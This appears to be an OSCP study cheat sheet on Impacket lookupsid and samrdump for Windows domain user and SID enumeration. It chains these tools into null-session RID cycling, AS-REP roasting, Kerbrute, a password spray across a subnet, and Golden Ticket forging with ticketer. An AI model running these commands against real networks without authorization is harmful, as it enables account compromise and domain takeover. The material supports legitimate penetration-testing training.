lookupsid & samrdump — SID / User Enumeration

Overview

ScriptMethodOutput
lookupsidBrute-force SIDs → resolve to namesUsernames, groups, Domain SID
samrdumpSAMR protocol dumpFull user account table

Both are Linux-side alternatives to rpcclient RID cycling. Part of Impacket Enumeration.

OSCP use: Build username lists for Kerbrute, AS-REP roast, and password spray; obtain Domain SID for Golden Ticket forging (Kerberos Scripts → ticketer).


📌 1) lookupsid.py

Syntax

impacket-lookupsid domain/user:password@TARGET
impacket-lookupsid anonymous@TARGET
impacket-lookupsid guest@TARGET -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0'

Anonymous / null session

impacket-lookupsid anonymous@10.10.10.10
impacket-lookupsid ''@10.10.10.10

Limit RID range (faster)

# Start from RID 2000 (domain users often start here)
impacket-lookupsid domain/user:pass@10.10.10.10 2000

Get Domain SID (critical for Golden Ticket)

impacket-lookupsid domain/user:pass@10.10.10.10 | grep -i "domain sid"
# Domain SID: S-1-5-21-1234567890-123456789-123456789

Use with:

impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local administrator

See Kerberos Scripts.


📌 2) samrdump.py

Dumps user info via Security Account Manager Remote protocol.

# Null session attempt
impacket-samrdump 10.10.10.10
 
# Authenticated
impacket-samrdump domain/user:password@10.10.10.10
impacket-samrdump anonymous@10.10.10.10

Sample fields: username, RID, account flags, last logon, pwd last set.


📌 3) rpcclient Equivalent

rpcclient -U "" -N 10.10.10.10
> enumdomusers
> enumdomgroups
> queryuser 0x3e8
> lookupnames administrators
Tasklookupsidrpcclient
User list✅ Auto RID cycleenumdomusers
Domain SID✅ grep outputlookupnames / lsaquery
Interactive
From Kali only

See rpcclient.


📌 4) Build users.txt for Attacks

impacket-lookupsid anonymous@10.10.10.10 2>/dev/null | grep "SidTypeUser" | awk '{print $1}' | cut -d'\' -f2 > users.txt
 
# Same filter from nxc RID brute:
nxc smb TARGET -u "guest" -p "" --rid-brute 1000 2>&1 | grep "(SidTypeUser)" | cut -d '\' -f2 | cut -d ' ' -f1 > users.txt
 
# Feed into:
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt
nxc ldap DC01.domain.local -u users.txt -p '' --asreproast asreproast.txt
kerbrute userenum --dc DC_IP -d corp.local users.txt
nxc smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success

📌 5) When Each Fails

SymptomTry
ACCESS_DENIED anonymousValid creds; ldapsearch; enum4linux
RPC unavailableCheck 135/tcp; firewall
Empty user listHigher RID start (2000); Kerbrute wordlist
Need full AD pictureBloodhound + Sharphound, nxc ldap --users

📌 Quick Cheat Sheet

impacket-lookupsid anonymous@TARGET
impacket-lookupsid domain/user:pass@TARGET | grep -i "domain sid"
impacket-samrdump TARGET
impacket-samrdump domain/user:pass@TARGET